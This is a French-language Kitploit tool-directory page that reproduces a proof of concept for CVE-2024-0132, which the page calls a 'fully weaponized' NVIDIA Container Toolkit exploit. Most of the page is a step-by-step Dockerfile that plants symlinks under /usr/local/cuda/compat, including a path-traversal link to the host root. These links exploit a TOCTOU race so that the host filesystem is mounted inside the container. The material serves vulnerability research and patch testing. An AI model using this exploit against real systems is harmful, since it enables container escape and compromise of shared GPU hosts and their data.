Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-0132 — CVE-2024-0132 – Fully Weaponized NVIDIA Container Toolkit Exploit | Kitploit
Outils/GitHubGitHub/r0binak/cve-2024-0132
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationCloud SecurityContainer Escape
GitHubr0binak/cve-2024-0132

CVE-2024-0132

CVE-2024-0132 – Fully Weaponized NVIDIA Container Toolkit Exploit

Voir le dépôt
61il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-0132

CVE-2024-0132 PoC

Commençons par choisir une image de base. L'organisation des bibliothèques dans le système dépend de celle-ci. Par exemple, pour alpine, ce sera /usr/lib64/, pour ubuntu, ce sera /usr/lib/x86_64-linux-gnu. Nous utiliserons ubuntu comme image de base.

root@kitploit:~
FROM ubuntu

Le nvidia container toolkit vérifie les bibliothèques dans /usr/local/cuda/compat/ à l'intérieur du conteneur, puis les monte dans le répertoire principal des bibliothèques. Pour cette image (ubuntu), ce serait /usr/lib/x86_64-linux-gnu.

Des liens sont également montés, vous pouvez donc monter n'importe quel fichier et répertoire de l'image vers /usr/lib/x86_64-linux-gnu. Le système vérifie que le lien est résolu à l'intérieur du conteneur, il ne peut pas utiliser plusieurs ../ pour un parcours de chemin. Cependant, cela peut être contourné en utilisant le montage dans le conteneur via /usr/local/cuda/compat/ deux fois, d'où le TOCTOU.

En savoir plus sur le mécanisme de montage depuis /usr/local/cuda/compat/ :

  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_container.c#L61
  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_mount.c#L768
root@kitploit:~
RUN mkdir -p /usr/local/cuda/compat/

Créez deux répertoires :

  1. Le répertoire d'origine contiendra un fichier normal avec le contenu de test
root@kitploit:~
RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
  1. Le second répertoire, avec le même nom, contiendra un lien avec un parcours de chemin au lieu d'un fichier.
root@kitploit:~
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs

Le nom libdxcore.so est choisi pour satisfaire les filtres. La version majeure (1337) doit être différente de la version réelle du pilote.

Créez deux liens dans /usr/local/cuda/compat/ :

  1. Le premier lien remplacera le contenu du répertoire d'origine /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ par /pwn/libdxcore.so.1337/
root@kitploit:~
RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
  1. Le deuxième lien monte /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs vers /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. Lors de la vérification, ce sera un fichier normal, mais au moment du montage, ce sera un lien qui se trouvait dans /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs, ainsi le système de fichiers hôte sera monté dans /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/.
root@kitploit:~
RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2
Télécharger l’outil